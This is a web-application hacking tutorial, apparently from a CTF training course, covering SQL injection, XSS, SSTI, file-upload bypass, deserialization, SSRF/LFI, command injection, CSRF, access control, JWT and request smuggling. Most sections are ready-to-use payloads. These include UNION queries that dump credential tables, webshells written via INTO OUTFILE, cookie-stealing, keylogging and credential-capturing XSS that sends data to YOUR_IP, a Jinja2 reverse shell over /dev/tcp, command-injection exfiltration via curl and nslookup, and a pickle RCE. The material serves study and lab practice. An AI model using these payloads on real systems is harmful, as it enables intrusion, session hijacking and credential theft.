SQLi, XSS, SSTI, file uploads, SSRF, command injection β the attacks that crack most boxes.
Most footholds come through web apps. This covers the core vulnerability classes you'll exploit again and again.
The OWASP (Open Web Application Security Project) Top 10 is the industry-standard classification of web application security risks. It's maintained by a nonprofit community and updated every few years. Every vulnerability in this phase maps to one or more OWASP categories. Here's how they connect to what you'll learn:
| OWASP Top 10 (2021) | Covered in This Phase | Our Guide |
|---|---|---|
| A01: Broken Access Control | IDOR (Insecure Direct Object Reference β accessing other users' data by changing an ID in the URL), privilege escalation, forced browsing | Web Enumeration |
| A02: Cryptographic Failures | Weak hashing, cleartext credentials, exposed secrets | Crypto Cheatsheet |
| A03: Injection | SQLi, Command Injection, SSTI, LDAP injection | SQLMap, SQLi Cheatsheet |
| A04: Insecure Design | Business logic flaws, race conditions | Methodology |
| A05: Security Misconfiguration | Default creds, exposed admin panels, verbose errors | Web Hacking Checklist |
| A06: Vulnerable Components | Outdated libraries, known CVEs, version detection | Nmap |
| A07: Auth Failures | Brute force, credential stuffing, session hijacking | Hydra, Password Attacks |
| A08: Software/Data Integrity | Deserialization, insecure CI/CD, unsigned updates | Covered below |
| A09: Logging Failures | Missing audit logs, log injection, blind attacks | Wireshark |
| A10: SSRF | Server-Side Request Forgery, cloud metadata access | API Testing |
Damn Vulnerable Web Application (DVWA) is a deliberately insecure PHP/MySQL application designed for practicing web attacks. Set it up and work through every vulnerability at each security level.
# Quick DVWA setup with Docker (recommended)
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
# Access at http://localhost:8080
# Default login: admin / password
# Go to DVWA Security β set to "Low" to start
# Practice these in order:
# 1. SQL Injection (Low β Medium β High)
# 2. XSS Reflected & Stored (Low β Medium β High)
# 3. Command Injection (Low β Medium β High)
# 4. File Upload (Low β Medium β High)
# 5. File Inclusion (Low β Medium β High)
# 6. Brute Force (Low β Medium β High)
# Alternative: Use TryHackMe's OWASP Top 10 room (guided, free)
Start at Low security (no filtering), understand the vulnerability, then increase to Medium (basic filtering) and High (better filtering but still bypassable). This teaches you both exploitation AND how real-world defenses work.
When user input gets inserted directly into SQL queries without sanitization, you can manipulate the database. SQLi remains one of the most impactful vulnerabilities β it can lead to data theft, authentication bypass, and even remote code execution.
# Test these payloads in input fields, URL parameters, headers:
' # Single quote β look for SQL error
" # Double quote
' OR '1'='1 # Always-true condition
' OR '1'='1' -- # Comment out rest of query
1 AND 1=1 # True condition (should work normally)
1 AND 1=2 # False condition (different behavior = injectable!)
' AND SLEEP(5) -- # Time-based β page delays 5 seconds?
# Signs of SQLi:
# - SQL error messages (MySQL, PostgreSQL, MSSQL syntax)
# - Different page content for true vs false conditions
# - Page hangs with SLEEP/WAITFOR payloads
# - 500 Internal Server Error on special characters
# Each database has different syntax:
# MySQL: SELECT @@version CONCAT() -- or #
# PostgreSQL: SELECT version() || --
# MSSQL: SELECT @@version + --
# Oracle: SELECT banner FROM v$version || --
# SQLite: SELECT sqlite_version() || --
# Test with version queries:
' UNION SELECT @@version -- - # MySQL/MSSQL
' UNION SELECT version() -- - # PostgreSQL
' UNION SELECT sqlite_version() -- - # SQLite
# Goal: Extract data by appending UNION SELECT to the query
# Step 3a: Find the number of columns
' ORDER BY 1 -- - # Works? Try next...
' ORDER BY 2 -- - # Works? Try next...
' ORDER BY 3 -- - # Works? Try next...
' ORDER BY 4 -- - # ERROR! β 3 columns exist
# Step 3b: Find which columns display on the page
' UNION SELECT 1,2,3 -- -
# If you see "2" and "3" on the page, those columns are visible
# Step 3c: Extract database info
' UNION SELECT 1,database(),user() -- -
# Shows: current database name, current user
# Step 3d: Enumerate tables
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() -- -
# Shows: users, posts, sessions, etc.
# Step 3e: Enumerate columns of 'users' table
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' -- -
# Shows: id, username, password, email, role
# Step 3f: Extract the data!
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users -- -
# Shows: admin:$2y$10$abc..., user1:$2y$10$def...
# Step 3g: Crack the hashes
# Save to file and use hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# Boolean-based: Different responses for true vs false
# Extract data one character at a time:
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' -- -
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b' -- -
# ...until the page shows the "true" response β you found the character
# Then move to position 2, 3, etc.
# Time-based: No visible difference, use timing
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(3), 0) -- -
# If page takes 3+ seconds β first char is 'a'
# Automate with SQLMap (see our guide!)
sqlmap -u "http://target/page?id=1" --batch --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump
# MySQL: Write a webshell via INTO OUTFILE
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php' -- -
# Then: http://target/shell.php?cmd=id
# MSSQL: Execute OS commands via xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'whoami'; --
# PostgreSQL: Execute commands via COPY TO
'; COPY (SELECT '') TO PROGRAM 'id'; --
' 1,username,password FROM users -- -
UNION SELECT appends a second query's results to the original query. The number of columns must match the original query (here, 3). Column 1 is a placeholder (won't be visible), while columns 2 and 3 extract username and password. The -- - comments out the rest of the original query.When a web app reflects user input without escaping, you can inject JavaScript that runs in other users' browsers. Here's the full chain from discovery to exploitation:
# Test all input fields, URL parameters, headers with:
<script>alert(1)</script> # Classic test
<img src=x onerror=alert(1)> # Bypasses some filters
<svg onload=alert(1)> # Another bypass
"><script>alert(1)</script> # Break out of attribute
javascript:alert(1) # In href/src attributes
'-alert(1)-' # Inside JS string
# Look at WHERE your input appears in the HTML source:
# In text content? β <script> tags work
# In an attribute? β Break out with " or ' first
# In JavaScript? β Break out of the string
# In a comment? β Break out with -->
# Use a callback to confirm (alerts get caught by WAFs β Web Application Firewalls
# that filter malicious input before it reaches the application)
<script>fetch('http://YOUR_IP:8888/xss?c='+document.cookie)</script>
<img src=x onerror=fetch('http://YOUR_IP:8888/xss')>
# Listen on your machine:
python3 -m http.server 8888
# If you see a request β XSS confirmed!
# The classic cookie stealer:
<script>
new Image().src='http://YOUR_IP:8888/steal?c='+document.cookie;
</script>
# More reliable β fetch with POST:
<script>
fetch('http://YOUR_IP:8888/steal', {
method: 'POST',
body: document.cookie
});
</script>
# Use the stolen cookie:
# In browser DevTools β Application β Cookies β set the session cookie
# Or with curl:
curl -b 'session=STOLEN_VALUE' http://target/admin
# Keylogging (capture typed passwords):
<script>
document.onkeypress=function(e){
fetch('http://YOUR_IP:8888/keys?k='+e.key);
}
</script>
# Capture form data (credentials on login page):
<script>
document.forms[0].onsubmit=function(){
fetch('http://YOUR_IP:8888/creds?u='+document.forms[0].username.value+'&p='+document.forms[0].password.value);
}
</script>
# CSRF (Cross-Site Request Forgery) via XSS β make the victim's
# browser perform actions they didn't intend (like creating an admin account):
<script>
fetch('/admin/create-user', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'username=hacker&password=hacker&role=admin'
});
</script>
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# Encoding
<script>alert(String.fromCharCode(88,83,83))</script>
# Event handlers (many options!)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
# Template literals (backticks)
<script>alert`1`</script>
# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E
# Check PortSwigger's XSS cheat sheet for hundreds more!
Template engines (like Jinja2, Twig, and ERB) let developers embed dynamic content in web pages β for example, Hello, {{username}}. When user input is embedded directly in a template without sanitization, you can inject template syntax that executes arbitrary code on the server. This leads to RCE (Remote Code Execution) β the ability to run any command on the target, which is essentially game over. The key challenge is identifying which template engine is in use.
# Step 1: Try {{7*7}}
# β Shows 49? Go to Step 2a
# β Shows {{7*7}} literally? Try ${7*7} (Step 3)
# Step 2a: Try {{7*'7'}}
# β Shows 7777777? β It's JINJA2 (Python)
# β Shows 49? β It's TWIG (PHP)
# Step 3: Try ${7*7}
# β Shows 49? Try ${class.forName("java.lang.Runtime")}
# β Works? β JAVA (FreeMarker, Velocity, Thymeleaf)
# β Shows ${7*7}? Try <%= 7*7 %>
# β Shows 49? β ERB (Ruby)
# β Shows <%= 7*7 %>? Try #{7*7}
# β Shows 49? β Slim/Pug (Jade) or Ruby string interpolation
# Summary:
# {{7*7}} = 49, {{7*'7'}} = 7777777 β Jinja2
# {{7*7}} = 49, {{7*'7'}} = 49 β Twig
# ${7*7} = 49 β FreeMarker/Velocity/EL
# <%= 7*7 %> = 49 β ERB
# #{7*7} = 49 β Pug/Slim
# Jinja2 (Python/Flask) β Most common in HTB
# Read /etc/passwd:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}
# Shorter payload for RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Reverse shell via SSTI:
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"').read()}}
# Twig (PHP/Symfony)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# FreeMarker (Java)
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ERB (Ruby on Rails)
<%= system('id') %>
<%= `id` %>
π‘ Real example: In our Flustered writeup, the Flask app used render_template_string() with user-controlled JSON input β classic SSTI leading to full RCE.
{{7*7}} into an input field and the page displays 49. You then try {{7*'7'}} and see 7777777. What template engine is this?{{7*7}} = 49 confirms template injection. {{7*'7'}} = 7777777 (string multiplication) is Python behavior β Jinja2. If it returned 49 instead, it would be Twig (PHP). Jinja2 is the most common SSTI target in CTFs because Flask/Python apps are popular, and render_template_string() is a frequent mistake.File upload functionality is one of the most dangerous features a web app can have. If you can upload a web shell, you get code execution. Developers try to restrict uploads β here's how to bypass those restrictions:
# 1. Extension blacklist bypass
shell.php β Blocked!
shell.php5 β Allowed! (PHP still executes it)
shell.phtml β Allowed!
shell.phar β Allowed!
shell.php.jpg β Depends on config (Apache may execute as PHP)
shell.php%00.jpg β Null byte truncation (older servers)
shell.php. β Trailing dot (Windows servers)
shell.php::$DATA β NTFS alternate data stream (Windows IIS)
# 2. Content-Type bypass
# The server checks Content-Type header instead of actual file content
# In Burp, change:
Content-Type: application/x-php β Content-Type: image/jpeg
# Server thinks it's an image, saves as .php β executes!
# 3. Magic bytes bypass
# Some servers check the file header (magic bytes)
# Prepend JPEG magic bytes to your PHP shell:
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg
# 4. Double extension with .htaccess
# Upload a .htaccess file first:
AddType application/x-httpd-php .jpg
# Now upload shell.jpg β Apache treats it as PHP!
# 5. SVG with embedded XSS/SSRF
# Upload an SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
# 6. Polyglot files (valid image AND valid PHP)
# Use exiftool to inject PHP into EXIF data:
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php.jpg
# Check these common upload directories:
/uploads/
/images/
/media/
/files/
/attachments/
/static/uploads/
# Check the response after upload β it often reveals the path
# Check the image URL in your profile/post
# Use gobuster if you can't find it
Programs store complex data structures (objects) in memory. Serialization converts these objects into a format that can be saved or transmitted (bytes, JSON, XML). Deserialization converts them back into live objects. The danger: if an application deserializes data that you control (like a cookie or API parameter), you can craft a malicious object that executes code the moment it's deserialized β before the application even looks at the data.
rO0AB (the magic bytes of Java serialized objects). Cookies, hidden form fields, and API parameters are common locations.O:4: or similar β PHP serialized format. a:2:{s:4:"name";...} is an array.__VIEWSTATE in ASP.NET forms. SOAP XML with type hints.# Java deserialization β use ysoserial
java -jar ysoserial.jar CommonsCollections1 'ping YOUR_IP' | base64
# Send the base64 payload where the app expects serialized data
# PHP deserialization
# If you can control serialized input:
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"isAdmin";b:1;}
# Craft objects that trigger __wakeup() or __destruct() magic methods
# Python pickle RCE
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())))
# Use the output as your session cookie / input
When you can make the server fetch URLs on your behalf, you can access internal services that aren't exposed externally.
# Basic SSRF β the server fetches URLs for you
http://target/fetch?url=http://127.0.0.1:8080/admin
# Cloud metadata endpoints (AWS)
http://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Cloud metadata (GCP)
http://target/fetch?url=http://metadata.google.internal/computeMetadata/v1/
# File read via file:// protocol
http://target/fetch?url=file:///etc/passwd
# Internal port scanning via SSRF
# Try http://127.0.0.1:PORT for common ports (22, 80, 3306, 6379, 8080, 8443)
# Different response size/time = port is open
# SSRF bypass techniques:
http://0.0.0.0/ # Alternative to 127.0.0.1
http://[::1]/ # IPv6 localhost
http://127.1/ # Shortened IP
http://2130706433/ # Decimal IP for 127.0.0.1
http://[email protected]/ # URL authority confusion
http://127.0.0.1.nip.io/ # DNS rebinding
# LFI β read local files through path traversal
http://target/page?file=../../../../etc/passwd
http://target/page?file=....//....//....//etc/passwd # bypass ../ filter
# PHP wrappers for code execution
http://target/page?file=php://filter/convert.base64-encode/resource=config.php
http://target/page?file=php://input (POST body: <?php system('id'); ?>)
http://target/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Log poisoning β inject PHP into log file, then include it
# 1. Send request with PHP in User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://target/
# 2. Include the log file:
http://target/page?file=/var/log/apache2/access.log&cmd=id
# /proc/self/environ β another LFI-to-RCE vector
http://target/page?file=/proc/self/environ
# If User-Agent appears in output β inject PHP in User-Agent header
# Windows LFI paths
http://target/page?file=C:\Windows\System32\drivers\etc\hosts
http://target/page?file=..\..\..\..\Windows\win.ini
When user input is passed to OS commands without sanitization:
# Common injection points: ping, nslookup, whois, file conversion utilities
# Operators to chain commands:
; id # Semicolon β runs id after the first command
| id # Pipe β sends output to id
|| id # OR β runs id if first command fails
&& id # AND β runs id if first command succeeds
$(id) # Command substitution
`id` # Backtick substitution
# Blind command injection (no output visible):
; ping -c 3 YOUR_IP # Listen with tcpdump
; curl http://YOUR_IP:8888/ # Listen with python HTTP server
; sleep 5 # Time-based confirmation
# Out-of-band data exfiltration:
; curl http://YOUR_IP:8888/$(whoami)
; nslookup $(whoami).YOUR_DOMAIN # DNS-based exfiltration
CSRF tricks a victim's browser into making requests to a site where they're already authenticated. The attacker crafts a malicious page that, when visited, silently performs actions as the victim β changing their password, transferring funds, or modifying settings.
<!-- CSRF PoC: Change victim's email address -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://target.com/settings" method="POST">
<input name="email" value="[email protected]">
</form>
</body>
</html>
<!-- CSRF with JSON body (if Content-Type isn't validated) -->
<script>
fetch('https://target.com/api/settings', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"email":"[email protected]"}'
});
</script>
What stops CSRF:
SameSite=Lax (default in modern browsers) blocks cookies on cross-origin POST requests. SameSite=Strict blocks them on all cross-origin requests.Testing for CSRF: Remove the CSRF token from a request in Burp β does it still work? Change SameSite to None β does the server accept it? Try changing the request method (POSTβGET) β sometimes GET requests bypass CSRF protections.
π― Practice: PortSwigger Web Security Academy has an excellent CSRF lab series covering token bypass, SameSite bypass, and Referer validation bypass.
Broken access control is OWASP's #1 vulnerability (A01:2021). It means the application doesn't properly check whether a user has permission to perform an action or access a resource.
# The classic IDOR test
GET /api/users/123/profile β Your profile
GET /api/users/124/profile β Someone else's profile (IDOR!)
# Test every endpoint with an ID:
GET /api/orders/5001 β Try /api/orders/5002
GET /api/documents/abc123 β Try sequential or UUIDs
POST /api/messages β Change recipient_id
DELETE /api/posts/456 β Can you delete others' posts?
# Beyond numeric IDs:
/api/users/john.doe β Try /api/users/admin
/api/invoices/INV-2024-001 β Increment the number
/api/files/report_q1.pdf β Guess other filenames
# Vertical privilege escalation tests
# 1. Can a normal user access admin endpoints?
GET /admin/dashboard β Try with regular user cookie
POST /api/admin/delete-user β Try with regular user token
# 2. Parameter tampering
POST /api/register
{"username":"test", "role":"user"}
β Try: {"username":"test", "role":"admin"}
# 3. Forced browsing
/admin β Blocked
/Admin β Maybe not blocked?
/ADMIN β Case sensitivity?
/admin/ β Trailing slash?
/./admin β Path normalization?
# 4. HTTP method tampering
POST /api/admin/users β 403
GET /api/admin/users β 200? # Different method = different check?
π‘ Pro tip: Burp Suite's "Autorize" extension is a game-changer for access control testing. It automatically replays every request with a lower-privileged session and flags where the response is the same β instant IDOR/access control detection.
Authentication is the gateway. If you can bypass it, you own the application.
# JWT structure: header.payload.signature (base64url encoded)
# Decode a JWT (fix base64url padding first)
echo "eyJhbGciOiJIUzI1NiJ9" | tr '_-' '/+' | base64 -d
# Attack 1: "none" algorithm
# Change header to {"alg":"none"}, remove signature
# Some libraries accept unsigned tokens
# Attack 2: HMAC/RSA confusion
# Server expects RS256 (asymmetric) β switch to HS256 (symmetric)
# Sign with the server's PUBLIC key as HMAC secret
# Attack 3: Weak signing secret
# Brute-force the HMAC secret
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
# Attack 4: kid injection
# Header: {"alg":"HS256", "kid":"../../etc/hostname"}
# Server uses the file content as the signing key
redirect_uri=https://target.com/callback/../../../attacker.comscope=read+write+admin# Common password reset vulnerabilities:
# 1. Predictable tokens
# Reset link: /reset?token=1234 β Try /reset?token=1235
# 2. Host header injection
# POST /forgot-password
# Host: attacker.com
# β Reset email contains: https://attacker.com/reset?token=abc
# β Victim clicks link β token sent to attacker's server
# 3. No rate limiting on reset endpoint
# Brute-force short numeric OTP codes
# 4. Response manipulation
# Server returns {"success": false} β Change to {"success": true}
# (Only works if server-side validation is broken)
These techniques go beyond basic web vulns. They target the HTTP protocol itself and how servers/proxies interpret requests differently.
When a front-end proxy and back-end server disagree on where one request ends and another begins, you can "smuggle" requests past security controls.
# CL.TE smuggling (front-end uses Content-Length, back-end uses Transfer-Encoding)
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# The front-end sees one request (CL: 13 bytes)
# The back-end sees the chunked terminator "0\r\n\r\n"
# Then treats "SMUGGLED" as the start of a new request
Impact: Bypass WAFs, hijack other users' requests, steal credentials, poison web caches. This is an advanced technique β start with PortSwigger's request smuggling labs.
If a CDN/cache stores a response keyed by URL but the response content is influenced by an unkeyed header (like X-Forwarded-Host), you can poison the cache to serve malicious content to all users:
# Inject malicious content via unkeyed header
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# If the response includes: <script src="//attacker.com/evil.js">
# AND the cache stores this response...
# Every subsequent user gets the poisoned page
π― Where to practice: PortSwigger Web Security Academy has labs for every technique in this section β CSRF, access control, JWT attacks, OAuth, request smuggling, and cache poisoning. They're free, browser-based, and the best way to learn these attacks hands-on.
python3 -m http.server as your listener.render_template_string(). Test the detection flowchart. Achieve RCE with Jinja2 payloads./etc/passwd via LFI, then escalate to code execution via log poisoning or PHP wrappers.Can you explain these without looking them up?
ORDER BY incrementally until you get an error). The UNION SELECT must have the exact same number of columns. Only after knowing the column count can you construct a valid UNION SELECT to extract data.\xff\xd8\xff\xe0) to the beginning of a PHP shell?\xff\xd8\xff\xe0. By prepending these bytes to your PHP shell, the server's magic byte check sees "JPEG" β but if the file is saved with a .php extension, the web server still executes it as PHP.http://127.0.0.1:8080/admin), cloud metadata endpoints (http://169.254.169.254/), or use file:// protocol to read local files. SSRF is especially dangerous in cloud environments where metadata endpoints can leak IAM credentials.;) is a command separator β the second command runs regardless of the first's exit status. && only runs the second if the first succeeds (exit code 0). || only runs the second if the first fails. | pipes stdout of the first into stdin of the second. When testing for command injection, ; is usually the first operator to try.page.php?file=about.html. Complete the payload to read /etc/passwd:page.php?file=
../../../../etc/passwd navigates up from the web root to the filesystem root, then into /etc/passwd. You use enough ../ sequences to reach the root directory. If basic traversal is filtered, try: ....// (double dots bypass), URL encoding (%2e%2e%2f), or null byte injection (%00 on older PHP).php://filter with base64 encoding reads the raw source code of PHP files without executing them. Without this wrapper, including a PHP file via LFI would execute it (and you'd see the output, not the code). The base64-encoded output can be decoded locally to reveal database credentials, API keys, and application logic.SLEEP(5) (MySQL) or WAITFOR DELAY '0:0:5' (MSSQL) to cause conditional delays. For example: IF(SUBSTRING(database(),1,1)='a', SLEEP(3), 0) β if the page takes 3+ seconds, the first character is 'a'. It's the slowest extraction method but works when there's zero visible output difference.